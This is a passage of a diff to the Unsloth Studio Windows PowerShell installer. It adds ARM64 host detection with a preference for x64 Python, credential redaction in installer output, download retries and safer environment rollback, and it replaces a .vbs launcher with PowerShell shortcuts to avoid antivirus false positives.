[Console]::Error.WriteLine("[TAURI:ERROR_CLEAR] $Message") + } + } + function Format-TauriDiagBool { param([bool]$Value) if ($Value) { return "true" } @@ -48,11 +57,32 @@ function Install-UnslothStudio { } } + # Machine arch; Get-TauriDiagArch above reports the process. An emulated x64 shell on + # ARM64 reports AMD64, but PROCESSOR_ARCHITEW6432 is ARM64 in exactly that case. + function Get-HostMachineArch { + $osArch = "" + try { $osArch = [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture.ToString() } catch { $osArch = "" } + $signals = @([string]$env:PROCESSOR_ARCHITEW6432, [string]$env:PROCESSOR_ARCHITECTURE, $osArch) + foreach ($s in $signals) { + if ($s.ToLowerInvariant() -eq "arm64") { return "arm64" } + } + foreach ($s in $signals) { + if ([string]::IsNullOrWhiteSpace($s)) { continue } + switch ($s.ToLowerInvariant()) { + "amd64" { return "x86_64" } + "x64" { return "x86_64" } + "x86" { return "x86" } + } + } + return "unknown" + } + function Get-TauriTorchIndexFamily { param([string]$TorchIndexUrl) if ($SkipTorch) { return "none" } if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return "none" } - $leaf = ($TorchIndexUrl.TrimEnd('/') -split '/')[-1].ToLowerInvariant() + # Drop query/fragment first so a token-authenticated pin classifies by family. + $leaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLowerInvariant() if (@("cpu", "cu118", "cu124", "cu126", "cu128", "cu130") -contains $leaf) { return $leaf } if ($leaf -match '^rocm[0-9]+\.[0-9]+$') { return $leaf } return "auto" @@ -61,7 +91,8 @@ function Install-UnslothStudio { function Get-TauriGpuBranch { param([string]$TorchIndexFamily) if ($SkipTorch) { return "no_torch" } - if ($TorchIndexFamily -like "cu*") { return "cuda" } + # Require a digit after "cu" so /current or /custom isn't branded CUDA (parity ^cu[0-9]). + if ($TorchIndexFamily -match '^cu[0-9]') { return "cuda" } if ($TorchIndexFamily -like "rocm*") { return "rocm" } if ($TorchIndexFamily -eq "cpu") { return "cpu" } return "unknown" @@ -83,13 +114,14 @@ function Install-UnslothStudio { [int]$Code = 1 ) if ($Code -eq 0) { $Code = 1 } - Write-TauriLog "ERROR" $Message + Write-TauriLog "ERROR_DEFAULT" $Message if (Get-Command Restore-StudioVenvRollback -CommandType Function -ErrorAction SilentlyContinue) { Restore-StudioVenvRollback } if ($TauriMode) { exit $Code } + throw $Message } # ── Parse flags ── @@ -98,7 +130,9 @@ function Install-UnslothStudio { $RepoRoot = "" $TauriMode = $false $SkipTorch = $false + $SkipAutostart = $false $ShortcutsOnly = $false + $WithLlamaCppDir = "" $argList = $args for ($i = 0; $i -lt $argList.Count; $i++) { switch ($argList[$i]) { @@ -116,11 +150,20 @@ function Install-UnslothStudio { } $PackageName = $argList[$i] } + "--with-llama-cpp-dir" { + $i++ + if ($i -ge $argList.Count) { + Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red + return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.") + } + $WithLlamaCppDir = $argList[$i] + } } } # Env-var equivalent for web installs; an explicit flag still wins. if ($env:UNSLOTH_NO_TORCH -in @('1', 'true', 'yes', 'on')) { $SkipTorch = $true } + if ($env:UNSLOTH_SKIP_AUTOSTART -in @('1', 'true', 'yes', 'on')) { $SkipAutostart = $true } # Propagate to child processes so they also respect verbose mode. # Process-scoped -- does not persist. @@ -163,7 +206,7 @@ function Install-UnslothStudio { $envOverride = $env:STUDIO_HOME.Trim() } - # Custom Studio roots are not supported with --tauri (desktop app still + # Custom Unsloth roots are not supported with --tauri (desktop app still # resolves %USERPROFILE%\.unsloth\studio). Pass through if override == legacy. if ($TauriMode -and $envOverride) { $_tauriOverride = $envOverride @@ -454,31 +497,101 @@ function Install-UnslothStudio { } } + # Redact index-URL credentials (userinfo + ?query= + #fragment) from captured installer + # output before printing on failure; uv/pip errors echo the failing --index-url verbatim. + # Mirrors the other installers. Verbose mode streams uncaptured, so it isn't redacted. + function Redact-InstallOutput { + param([string]$Text) + if (-not $Text) { return $Text } + $Text = $Text -replace '(https?://)[^/@\s`]+@', '$1@' + $Text = $Text -replace '([?&][^=\s&`]+)=[^&#\s`]+', '$1=' + # A #token=... fragment is as sensitive as a query; URL-anchored. + return $Text -replace '(https?://[^\s`#]+)#[^\s`]+', '$1#' + } + # Run native commands quietly by default to match install.sh behavior. # Full command output is shown only when --verbose / UNSLOTH_VERBOSE=1. function Invoke-InstallCommand { param( - [Parameter(Mandatory = $true)][ScriptBlock]$Command + [Parameter(Mandatory = $true)][ScriptBlock]$Command, + [string]$Label = "install command" ) + # Installer-pinned index installs (torch) must beat an inherited uv mirror (#6898): + # for --default-index, clear the uv index env vars (restore in finally) and set + # UV_NO_CONFIG=1 so a uv.toml/pyproject index can't outrank the CLI pin (uv 0.10). + $savedUvIndex = $null + if ($Command.ToString() -match '--default-index') { + $savedUvIndex = @{} + foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL', 'UV_TORCH_BACKEND', 'UV_FIND_LINKS', 'UV_CONFIG_FILE', 'UV_NO_CONFIG') { + $savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n) + Remove-Item "Env:$n" -ErrorAction SilentlyContinue + } + $env:UV_NO_CONFIG = '1' + } $prevEap = $ErrorActionPreference $ErrorActionPreference = "Continue" try { # Reset to avoid stale values from prior native commands. $global:LASTEXITCODE = 0 + Write-TauriLog "OUTPUT_CLEAR" $Label if ($script:UnslothVerbose) { # Merge stderr into stdout so progress/warning output stays visible # without flipping $? on successful native commands (PS 5.1 treats # stderr records as errors that set $? = $false even on exit code 0). - & $Command 2>&1 | Out-Host + # Redact per record: uv echoes index URLs (credentials and all) in + # its errors, and verbose mode must not bypass the quiet path's + # redaction. ForEach-Object/Out-Host leave $LASTEXITCODE untouched. + & $Command 2>&1 | ForEach-Object { Redact-InstallOutput "$_" } | Out-Host } else { $output = & $Command 2>&1 | Out-String if ($LASTEXITCODE -ne 0) { - Write-Host $output -ForegroundColor Red + Write-Host (Redact-InstallOutput $output) -ForegroundColor Red } } - return [int]$LASTEXITCODE + $exitCode = [int]$LASTEXITCODE + if ($exitCode -eq 0) { + Clear-TauriInstallError "$Label recovered" + } else { + Write-TauriLog "ERROR_OUTPUT" "$Label failed (exit code $exitCode)" + } + return $exitCode } finally { $ErrorActionPreference = $prevEap + if ($savedUvIndex) { + Remove-Item "Env:UV_NO_CONFIG" -ErrorAction SilentlyContinue + foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } } + } + } + } + + # Retry Invoke-InstallCommand on transient uv download failures with backoff. + # Returns the last exit code on permanent failure so rollback still fires. + function Invoke-InstallCommandRetry { + param( + [Parameter(Mandatory = $true, Position = 0)][ScriptBlock]$Command, + [string]$Label = "install step" + ) + # Sanitize overrides to a default of 3 (a typo must not disable retries; =1 disables). + # TryParse with bounds avoids an Int32 overflow throw. Bounds: 1..100 retries, 0..3600s. + $maxAttempts = 3 + $parsedAttempts = 0 + if ([int]::TryParse($env:UNSLOTH_INSTALL_RETRIES, [ref]$parsedAttempts) -and $parsedAttempts -ge 1 -and $parsedAttempts -le 100) { + $maxAttempts = $parsedAttempts + } + $delay = 3 + $parsedDelay = 0 + if ([int]::TryParse($env:UNSLOTH_INSTALL_RETRY_DELAY, [ref]$parsedDelay) -and $parsedDelay -ge 0 -and $parsedDelay -le 3600) { + $delay = $parsedDelay + } + $attempt = 1 + while ($true) { + $code = Invoke-InstallCommand -Command $Command -Label $Label + if ($code -eq 0) { return 0 } + if ($attempt -ge $maxAttempts) { return $code } + substep ("retrying ""$Label"" after transient failure (attempt $($attempt + 1)/$maxAttempts, waiting ${delay}s)...") "Yellow" + Start-Sleep -Seconds $delay + $attempt++ + $delay = $delay * 2 } } @@ -506,7 +619,6 @@ function Install-UnslothStudio { } $appDir = $StudioDataDir $launcherPs1 = Join-Path $appDir "launch-studio.ps1" - $launcherVbs = Join-Path $appDir "launch-studio.vbs" $desktopDir = [Environment]::GetFolderPath("Desktop") $desktopLink = if ($desktopDir -and $desktopDir.Trim()) { Join-Path $desktopDir "Unsloth Studio.lnk" @@ -701,7 +813,7 @@ function Find-FreeLaunchPort { return `$null } -# If Studio is already healthy on any expected port, just open it and exit. +# If Unsloth is already healthy on any expected port, just open it and exit. `$existingPort = Find-HealthyStudioPort if (`$existingPort) { Start-Process "http://localhost:`$existingPort" @@ -717,7 +829,7 @@ try { `$haveMutex = `$true } if (-not `$haveMutex) { - # Another launcher is already running; wait for it to bring Studio up + # Another launcher is already running; wait for it to bring Unsloth up `$deadline = (Get-Date).AddSeconds(`$timeoutSec) while ((Get-Date) -lt `$deadline) { `$port = Find-HealthyStudioPort @@ -799,19 +911,30 @@ exit 0 # even when install.ps1 is executed from PowerShell 7. $utf8Bom = New-Object System.Text.UTF8Encoding($true) [System.IO.File]::WriteAllText($launcherPs1, $launcherContent, $utf8Bom) - # shell.Run(cmd, 0, ...) already hides the window, so -WindowStyle Hidden - # is redundant; omitting it trims an AV-heuristic token (Kaspersky FP). - $vbsContent = @" -Set shell = CreateObject("WScript.Shell") -cmd = "powershell -NoProfile -ExecutionPolicy Bypass -File ""$launcherPs1""" -shell.Run cmd, 0, False -"@ - # WSH handles UTF-16LE reliably for .vbs files with non-ASCII paths. - Set-Content -LiteralPath $launcherVbs -Value $vbsContent -Encoding Unicode -Force + # No .vbs launcher is written. A WScript.Shell .vbs that spawns a hidden + # ExecutionPolicy-Bypass PowerShell is exactly the shape VBS-dropper + # heuristics score (e.g. Kaspersky HEUR:Trojan.VBS.Agent.gen). The .lnk + # shortcuts instead point straight at powershell.exe running + # launch-studio.ps1 with a hidden window (selected below). + + # Delete any launch-studio.vbs left by a pre-hardening install. New + # installs no longer generate it, but an upgrade that merely stopped + # generating it would leave the exact file AV flags on disk, so remove + # it explicitly. Covers default and env-mode installs (same $appDir). + $legacyLauncherVbs = Join-Path $appDir "launch-studio.vbs" + if (Test-Path -LiteralPath $legacyLauncherVbs) { + Remove-Item -LiteralPath $legacyLauncherVbs -Force -ErrorAction SilentlyContinue + } # Prefer bundled icon from local clone/dev installs. # If not available, best-effort download from raw GitHub. # We only attach the icon if the resulting file has a valid ICO header. + # Snapshot the existing icon first so we can tell whether it actually + # changed and gate the heavier icon-cache refresh on a real change. + $preIconHash = $null + if (Test-Path -LiteralPath $iconPath) { + try { $preIconHash = (Get-FileHash -LiteralPath $iconPath -Algorithm SHA256).Hash } catch {} + } $hasValidIcon = $false if ($bundledIcon -and (Test-Path -LiteralPath $bundledIcon)) { try { @@ -847,6 +970,24 @@ shell.Run cmd, 0, False } } + # Did the icon content actually change vs the previous install? + # Only a real change (or a first/removed icon) should trigger the heavy + # refresh; a no-op reinstall with no icon at all must not. + $iconChanged = $false + if ($hasValidIcon) { + if (-not $preIconHash) { + $iconChanged = $true + } else { + try { + $postIconHash = (Get-FileHash -LiteralPath $iconPath -Algorithm SHA256).Hash + $iconChanged = ($postIconHash -ne $preIconHash) + } catch { $iconChanged = $true } + } + } elseif ($preIconHash) { + # A previously present icon was removed or invalidated. + $iconChanged = $true + } + # Env-mode: skip persistent Desktop / Start Menu .lnk shortcuts # that may point at a deleted workspace; launcher + icon stay. if ($StudioRedirectMode -eq 'env') { @@ -854,8 +995,22 @@ shell.Run cmd, 0, False return } - $wscriptExe = Join-Path $env:SystemRoot "System32\wscript.exe" - $shortcutArgs = "//B //Nologo `"$launcherVbs`"" + # Whether this is effectively a first install (no pre-existing .lnk). + # Used to gate the heavier icon-cache refresh below so a no-op reinstall + # does not repeatedly clear caches / restart StartMenuExperienceHost -- + # a behavioral cluster AV heuristics can score as dropper-like. + $firstInstall = -not ( + ($desktopLink -and (Test-Path -LiteralPath $desktopLink)) -or + ($startMenuLink -and (Test-Path -LiteralPath $startMenuLink)) + ) + + # Launch transport for the shortcuts: powershell.exe runs + # launch-studio.ps1 with a hidden window. We deliberately avoid a + # .vbs/WScript.Shell wrapper -- that script-engine shape is what AV + # VBS-dropper heuristics score (Kaspersky HEUR:Trojan.VBS.Agent.gen). + $powershellForLnk = Join-Path $env:SystemRoot "System32\WindowsPowerShell\v1.0\powershell.exe" + $shortcutTarget = $powershellForLnk + $shortcutArgs = "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$launcherPs1`"" try { $wshell = New-Object -ComObject WScript.Shell @@ -865,9 +1020,11 @@ shell.Run cmd, 0, False if (-not $linkPath -or [string]::IsNullOrWhiteSpace($linkPath)) { continue } try { $shortcut = $wshell.CreateShortcut($linkPath) - $shortcut.TargetPath = $wscriptExe + $shortcut.TargetPath = $shortcutTarget $shortcut.Arguments = $shortcutArgs $shortcut.WorkingDirectory = $appDir + # Start minimized so the brief PowerShell console flash is muted. + $shortcut.WindowStyle = 7 $shortcut.Description = "Launch Unsloth Studio" if ($hasValidIcon) { $shortcut.IconLocation = "$iconPath,0" @@ -881,15 +1038,13 @@ shell.Run cmd, 0, False } if ($createdShortcutCount -gt 0) { substep "Created Unsloth Studio shortcut" - # Force Explorer to re-read each new shortcut's icon so it renders - # immediately instead of a stale/generic entry (a same-name .lnk - # recreated across reinstalls keeps Explorer's cached per-item icon). - # The reliable, non-disruptive fix (no explorer restart) is a per-item - # SHChangeNotify SHCNE_UPDATEITEM + SHCNF_PATHW per .lnk; the global - # SHCNE_ASSOCCHANGED broadcast alone does NOT recover a stale item. - # Also clear the on-disk icon cache (covers heavier staleness). - try { & "$env:SystemRoot\System32\ie4uinit.exe" -ClearIconCache 2>$null } catch {} - try { & "$env:SystemRoot\System32\ie4uinit.exe" -show 2>$null } catch {} + # Always do the cheap, non-disruptive per-item refresh so a + # rewritten same-name .lnk renders with its new target/icon + # immediately (a same-name .lnk recreated across reinstalls keeps + # Explorer's cached per-item icon). The reliable fix (no explorer + # restart) is a per-item SHChangeNotify SHCNE_UPDATEITEM + + # SHCNF_PATHW per .lnk; the global SHCNE_ASSOCCHANGED broadcast + # alone does NOT recover a stale item. try { Add-Type -Namespace UnslothShell -Name IconRefresh -MemberDefinition '[System.Runtime.InteropServices.DllImport("shell32.dll", CharSet = System.Runtime.InteropServices.CharSet.Unicode)] public static extern void SHChangeNotify(int eventId, uint flags, string item1, System.IntPtr item2);' -ErrorAction SilentlyContinue # SHCNE_UPDATEITEM (0x00002000) + SHCNF_PATHW (0x0005) per shortcut @@ -899,21 +1054,31 @@ shell.Run cmd, 0, False # SHCNE_ASSOCCHANGED (0x08000000) global refresh (belt-and-suspenders) [UnslothShell.IconRefresh]::SHChangeNotify(0x08000000, 0, $null, [System.IntPtr]::Zero) } catch {} - # Win11's Start Menu (StartMenuExperienceHost) keeps its OWN - # pre-rendered tile-icon cache that ie4uinit/explorer restart do NOT - # invalidate, so a rewritten same-name shortcut shows the old tile - # until the host restarts. Drop only the render caches (NEVER - # start2.bin -- the pinned layout) and let the host rebuild. - # Best-effort; Win10 has no such host (Test-Path skips it). - try { - $smehTemp = Join-Path $env:LOCALAPPDATA "Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState" - if (Test-Path -LiteralPath $smehTemp) { - Get-ChildItem -LiteralPath $smehTemp -Filter "TileCache_*" -ErrorAction SilentlyContinue | - Remove-Item -Force -ErrorAction SilentlyContinue - Remove-Item -LiteralPath (Join-Path $smehTemp "StartUnifiedTileModelCache.dat") -Force -ErrorAction SilentlyContinue - Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue - } - } catch {} + # Heavier on-disk icon-cache clear + StartMenuExperienceHost tile + # rebuild only when the icon actually changed or this is a first + # install. Running "clear icon cache + kill StartMenuExperienceHost" + # on every no-op reinstall is a dropper-like behavioral cluster and + # is unnecessary when the icon is unchanged (the per-item notify + # above already refreshes the rewritten shortcut). + if ($firstInstall -or $iconChanged) { + try { & "$env:SystemRoot\System32\ie4uinit.exe" -ClearIconCache 2>$null } catch {} + try { & "$env:SystemRoot\System32\ie4uinit.exe" -show 2>$null } catch {} + # Win11's Start Menu (StartMenuExperienceHost) keeps its OWN + # pre-rendered tile-icon cache that ie4uinit/explorer restart do NOT + # invalidate, so a rewritten same-name shortcut shows the old tile + # until the host restarts. Drop only the render caches (NEVER + # start2.bin -- the pinned layout) and let the host rebuild. + # Best-effort; Win10 has no such host (Test-Path skips it). + try { + $smehTemp = Join-Path $env:LOCALAPPDATA "Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState" + if (Test-Path -LiteralPath $smehTemp) { + Get-ChildItem -LiteralPath $smehTemp -Filter "TileCache_*" -ErrorAction SilentlyContinue | + Remove-Item -Force -ErrorAction SilentlyContinue + Remove-Item -LiteralPath (Join-Path $smehTemp "StartUnifiedTileModelCache.dat") -Force -ErrorAction SilentlyContinue + Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue + } + } catch {} + } } else { substep "no Unsloth Studio shortcuts were created" "Yellow" } @@ -979,10 +1144,27 @@ shell.Run cmd, 0, False return $false } + # The interpreter's own arch, asked of it: win-amd64|win-arm64|win32|"". + function Get-PythonPlatformTag { + param([string]$Exe) + try { + return (& $Exe -c "import sysconfig; print(sysconfig.get_platform())" 2>$null | Out-String).Trim().ToLowerInvariant() + } catch { return "" } + } + # Returns @{ Version = "3.13"; Path = "C:\...\python.exe" } or $null. # The resolved Path is passed to `uv venv --python` to prevent uv from # re-resolving the version string back to a conda interpreter. function Find-CompatiblePython { + # -X64Only: best installed x64 interpreter or $null, never ARM64. Last resort for + # Install-X64Python, where x64 of a lower-priority minor beats ARM64. + param([switch]$X64Only) + # Windows on ARM: prefer x64. pyarrow (via datasets) and hf-transfer ship no + # win_arm64 wheel, so a native ARM64 Python source-builds both and dies on CMake / + # Rust minutes in; x64 runs fine emulated. ARM64 is still returned when it is all + # there is, and the caller then bootstraps x64 or warns. + $preferX64 = $X64Only -or ((Get-HostMachineArch) -eq "arm64") + $candidates = @() # Try the Python Launcher first (most reliable on Windows) # py.exe resolves to the standard CPython install, not conda. # Prefer the requested $PythonVersion, then newest-first fallback. @@ -1000,7 +1182,8 @@ shell.Run cmd, 0, False # Resolve the actual executable path and verify it is not conda-based $resolvedExe = (& $pyLauncher.Source "-$minor" -c "import sys; print(sys.executable)" 2>$null | Out-String).Trim() if ($resolvedExe -and (Test-Path $resolvedExe) -and -not (Test-IsCondaPython $resolvedExe)) { - return @{ Version = $ver; Path = $resolvedExe } + if (-not $preferX64) { return @{ Version = $ver; Path = $resolvedExe; Arch = "" } } + $candidates += @{ Version = $ver; Path = $resolvedExe } } } } catch {} @@ -1021,11 +1204,53 @@ shell.Run cmd, 0, False try { $out = & $cmd.Source --version 2>&1 | Out-String if ($out -match "Python (3\.1[1-3])\.\d+") { - return @{ Version = $Matches[1]; Path = $cmd.Source } + if (-not $preferX64) { return @{ Version = $Matches[1]; Path = $cmd.Source; Arch = "" } } + $candidates += @{ Version = $Matches[1]; Path = $cmd.Source } } } catch {} } } + # `py -3.12` runs the launcher's preferred build, normally the native ARM64 one, so + # a same-minor x64 install that is neither preferred nor on PATH never becomes a + # candidate. `-3.12-64` cannot disambiguate (deprecated, it only means "not + # 32-bit"), so enumerate every registration with -0p and probe each path. + if ($preferX64) { + foreach ($pyLauncher in @(Get-Command py -All -CommandType Application -ErrorAction SilentlyContinue)) { + if ($pyLauncher.Source -match $script:CondaSkipPattern) { continue } + $listed = @() + try { $listed = @(& $pyLauncher.Source "-0p" 2>$null) } catch {} + foreach ($line in $listed) { + # " -V:3.12 * C:\...\python.exe": tag, optional default marker, path. + $m = [regex]::Match([string]$line, '(?i)^\s*-\S+\s+\*?\s*"?(?

\S.*?\.exe)"?\s*$') + if (-not $m.Success) { continue } + $exe = $m.Groups['p'].Value.Trim() + if ($candidates | Where-Object { $_.Path -eq $exe }) { continue } + if (-not (Test-Path -LiteralPath $exe)) { continue } + if (Test-IsCondaPython $exe) { continue } + try { + $out = & $exe --version 2>&1 | Out-String + if ($out -match "Python (3\.1[1-3])\.\d+") { + $candidates += @{ Version = $Matches[1]; Path = $exe } + } + } catch {} + } + } + } + # Prefer x64, but only within one minor: $minors is the caller's version preference, + # so ranking on arch alone would answer UNSLOTH_PYTHON=3.12 with an x64 3.13 and + # never bootstrap x64 3.12. Probing costs a subprocess, so non-ARM returned above. + foreach ($c in $candidates) { + $tag = Get-PythonPlatformTag $c.Path + $c.Arch = if ($tag -eq "win-amd64") { "x86_64" } elseif ($tag -eq "win-arm64") { "arm64" } else { "unknown" } + } + foreach ($minor in $minors) { + $sameMinor = @($candidates | Where-Object { $_.Version -eq $minor }) + if ($sameMinor.Count -eq 0) { continue } + $x64 = $sameMinor | Where-Object { $_.Arch -eq "x86_64" } | Select-Object -First 1 + if ($x64) { return $x64 } + if (-not $X64Only) { return $sameMinor[0] } + } + if (-not $X64Only -and $candidates.Count -gt 0) { return $candidates[0] } return $null } @@ -1036,8 +1261,11 @@ shell.Run cmd, 0, False # (no UAC), putting python.exe + the py launcher on PATH. Mirrors the uv -> # astral.sh fallback below. Returns @{ Version; Path } or $null. function Install-PythonFromPythonOrg { + # $Arch overrides the host arch, to pull x64 onto an ARM64 box. + param([string]$Arch = "") # python.org ships one installer per architecture. - $archSuffix = switch (Get-TauriDiagArch) { + $targetArch = if ($Arch) { $Arch } else { Get-TauriDiagArch } + $archSuffix = switch ($targetArch) { "x86_64" { "-amd64" } "arm64" { "-arm64" } "x86" { "" } @@ -1102,6 +1330,28 @@ shell.Run cmd, 0, False return (Find-CompatiblePython) } + # ── Windows on ARM: get an x64 CPython ── + # --architecture x64 forces winget off the ARM64 build; python.org takes the same override. + function Install-X64Python { + if ($script:WingetAvailable) { + $prevEAP = $ErrorActionPreference + $ErrorActionPreference = "Continue" + try { + winget install -e --id "Python.Python.$PythonVersion" --source winget --architecture x64 --accept-package-agreements --accept-source-agreements + } catch { } + $ErrorActionPreference = $prevEAP + Refresh-SessionPath + $found = Find-CompatiblePython + if ($found -and $found.Arch -eq "x86_64") { return $found } + substep "winget could not provide an x64 Python -- trying python.org..." "Yellow" + } + $found = Install-PythonFromPythonOrg -Arch "x86_64" + if ($found -and $found.Arch -eq "x86_64") { return $found } + # Nothing installable (offline / no winget): an x64 build of another supported minor + # still runs the wheels ARM64 cannot, so take it over the native interpreter. + return (Find-CompatiblePython -X64Only) + } + # ── Install Python if no compatible version (3.11-3.13) found ── # Find-CompatiblePython returns @{ Version = "3.13"; Path = "C:\...\python.exe" } or $null. Write-TauriLog "STEP" "Installing Python" @@ -1173,6 +1423,26 @@ shell.Run cmd, 0, False return (Exit-InstallFailure "Python installation failed") } } + # ── Windows on ARM: swap a native ARM64 interpreter for x64 ── + # pyarrow and hf-transfer publish no win_arm64 wheel, so an ARM64 Python source-builds + # both and fails deep into the run. Warn up front if x64 is unobtainable. + if ($DetectedPython -and (Get-HostMachineArch) -eq "arm64" -and $DetectedPython.Arch -ne "x86_64") { + substep "windows on arm: only a native ARM64 Python $($DetectedPython.Version) was found." "Yellow" + substep "pyarrow and hf-transfer publish no win_arm64 wheels, so installing x64 Python..." "Yellow" + $X64Python = Install-X64Python + if ($X64Python) { + $DetectedPython = $X64Python + step "python" "using x64 Python $($DetectedPython.Version) under emulation" + } else { + Write-Host "[WARN] Could not install an x64 Python on this ARM64 machine." -ForegroundColor Yellow + Write-Host " Continuing with ARM64 Python $($DetectedPython.Version), but the install is likely to fail:" -ForegroundColor Yellow + Write-Host " pyarrow (via datasets) and hf-transfer ship no win_arm64 wheels and will be" -ForegroundColor Yellow + Write-Host " built from source, which needs CMake plus the MSVC and Rust toolchains." -ForegroundColor Yellow + Write-Host " Fix: install x64 Python from https://www.python.org/downloads/windows/" -ForegroundColor Yellow + Write-Host " (choose 'Windows installer (64-bit)', not ARM64), then re-run this installer." -ForegroundColor Yellow + } + } + $DiagPythonVersion = $PythonVersion if ($DetectedPython) { $DiagPythonVersion = $DetectedPython.Version } $InitialGpuBranch = "unknown" @@ -1181,7 +1451,7 @@ shell.Run cmd, 0, False # ── Install uv ── Write-TauriLog "STEP" "Installing uv package manager" - $UvMinVersion = "0.7.22" + $UvMinVersion = "0.8.16" function Test-UvVersionOk { $cmd = Get-Command uv -ErrorAction SilentlyContinue if (-not $cmd) { return $false } @@ -1252,6 +1522,15 @@ shell.Run cmd, 0, False $env:UV_COMPILE_BYTECODE_TIMEOUT = "180" } + # uv >= 0.8.16 retries HTTP/2 streaming body errors; raise retries and read + # timeout for large wheel downloads. User-provided values are preserved. + if (-not $env:UV_HTTP_RETRIES) { + $env:UV_HTTP_RETRIES = "5" + } + if (-not $env:UV_HTTP_TIMEOUT) { + $env:UV_HTTP_TIMEOUT = "180" + } + # ── Create venv (migrate old layout if possible, otherwise fresh) ── # Pass the resolved executable path to uv so it does not re-resolve # a version string back to a conda interpreter. @@ -1278,13 +1557,82 @@ shell.Run cmd, 0, False $suffix++ $candidate = Join-Path $StudioHome "unsloth_studio.rollback.$stamp.$PID.$suffix" } - Move-Item -LiteralPath $ExistingDir -Destination $candidate -ErrorAction Stop $script:StudioVenvRollbackDir = $candidate $script:StudioVenvRollbackTarget = $ExistingDir $script:StudioVenvRollbackActive = $true + # Publish the rollback state before the atomic rename so interruption + # cannot land after Move-Item but before cleanup knows where the old venv went. + try { + Move-Item -LiteralPath $ExistingDir -Destination $candidate -ErrorAction Stop + } catch { + # A collision or ordinary rename failure leaves the original in place. + # Keep state active only when the rename happened before interruption. + if (Test-Path -LiteralPath $ExistingDir) { + $script:StudioVenvRollbackActive = $false + $script:StudioVenvRollbackDir = $null + } + throw + } substep "previous environment preserved for rollback" } + function Remove-StudioVenvTreeWithRetry { + param( + [Parameter(Mandatory = $true)][string]$Path, + [Parameter(Mandatory = $true)][string]$Label + ) + $lastError = $null + for ($attempt = 1; $attempt -le 3; $attempt++) { + try { + Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction Stop + } catch { + $lastError = $_.Exception.Message + } + if (-not (Test-Path -LiteralPath $Path)) { return $true } + if ($attempt -lt 3) { Start-Sleep -Milliseconds (250 * $attempt) } + } + Write-Host "[WARN] Could not remove $Label at $Path" -ForegroundColor Yellow + if ($lastError) { Write-Host " $lastError" -ForegroundColor Yellow } + return $false + } + + function Test-StudioVenvRollbackMustBePreserved { + param([Parameter(Mandatory = $true)][System.IO.FileSystemInfo]$Rollback) + # Preserve anything outside the installer's timestamp.PID[.suffix] format. + if ($Rollback.Name -notmatch '^unsloth_studio\.rollback\.[0-9]{14}\.([0-9]+)(?:\.[0-9]+)?$') { + return $true + } + $ownerPid = 0 + if (-not [int]::TryParse($Matches[1], [ref]$ownerPid)) { return $true } + if ($ownerPid -eq $PID) { return $true } + return $null -ne (Get-Process -Id $ownerPid -ErrorAction SilentlyContinue) + } + + function Remove-StaleStudioVenvRollbacks { + try { + $rollbacks = @( + Get-ChildItem -LiteralPath $StudioHome -Directory -Force -ErrorAction Stop | + Where-Object { $_.Name -like 'unsloth_studio.rollback.*' } + ) + } catch { + Write-Host "[WARN] Could not inspect stale environment rollbacks in $StudioHome" -ForegroundColor Yellow + Write-Host " $($_.Exception.Message)" -ForegroundColor Yellow + return + } + foreach ($rollback in $rollbacks) { + if (($rollback.Attributes -band [System.IO.FileAttributes]::ReparsePoint) -ne 0) { + Write-Host "[WARN] Refusing to remove rollback reparse point $($rollback.FullName)" -ForegroundColor Yellow + continue + } + # A concurrent installer may have moved its live venv aside. The PID + # in the generated name keeps this run from deleting its rescue copy. + if (Test-StudioVenvRollbackMustBePreserved -Rollback $rollback) { continue } + if (Remove-StudioVenvTreeWithRetry -Path $rollback.FullName -Label "stale environment rollback") { + substep "removed stale environment rollback $($rollback.Name)" + } + } + } + function Restore-StudioVenvRollback { if (-not $script:StudioVenvRollbackActive) { return } $backup = $script:StudioVenvRollbackDir @@ -1296,7 +1644,9 @@ shell.Run cmd, 0, False substep "restoring previous environment after failed install..." "Yellow" try { if (Test-Path -LiteralPath $target) { - Remove-Item -LiteralPath $target -Recurse -Force -ErrorAction SilentlyContinue + if (-not (Remove-StudioVenvTreeWithRetry -Path $target -Label "incomplete environment")) { + throw "Could not remove incomplete environment at $target" + } } Move-Item -LiteralPath $backup -Destination $target -Force -ErrorAction Stop substep "restored previous environment" @@ -1311,17 +1661,21 @@ shell.Run cmd, 0, False function Complete-StudioVenvRollback { if (-not $script:StudioVenvRollbackActive) { return } $backup = $script:StudioVenvRollbackDir - if ($backup -and (Test-Path -LiteralPath $backup)) { - Remove-Item -LiteralPath $backup -Recurse -Force -ErrorAction SilentlyContinue - } + # The replacement is committed. Disable restoration before deleting the + # backup so interruption cannot restore a partially deleted environment. $script:StudioVenvRollbackActive = $false $script:StudioVenvRollbackDir = $null + if ($backup -and (Test-Path -LiteralPath $backup)) { + Remove-StudioVenvTreeWithRetry -Path $backup -Label "environment rollback" | Out-Null + } } + $studioVenvReplacementCommitted = $false + try { if (Test-Path -LiteralPath $VenvPython) { # why: matching guard to the .venv branch below -- in env-mode # $StudioHome is a user-chosen workspace, so refuse to nuke an - # existing $StudioHome\unsloth_studio that lacks Studio sentinels. + # existing $StudioHome\unsloth_studio that lacks Unsloth sentinels. # -PathType Leaf rejects a directory at the sentinel path. Accept the # in-VENV ownership marker so partial-install retries are not blocked. if ( @@ -1332,7 +1686,7 @@ shell.Run cmd, 0, False ) { Write-Host "[ERROR] $VenvDir already exists but does not look like an Unsloth Studio install." -ForegroundColor Red Write-Host " Move it aside or choose an empty UNSLOTH_STUDIO_HOME." -ForegroundColor Yellow - throw "Refusing to delete non-Studio venv at $VenvDir" + throw "Refusing to delete non-Unsloth venv at $VenvDir" } # 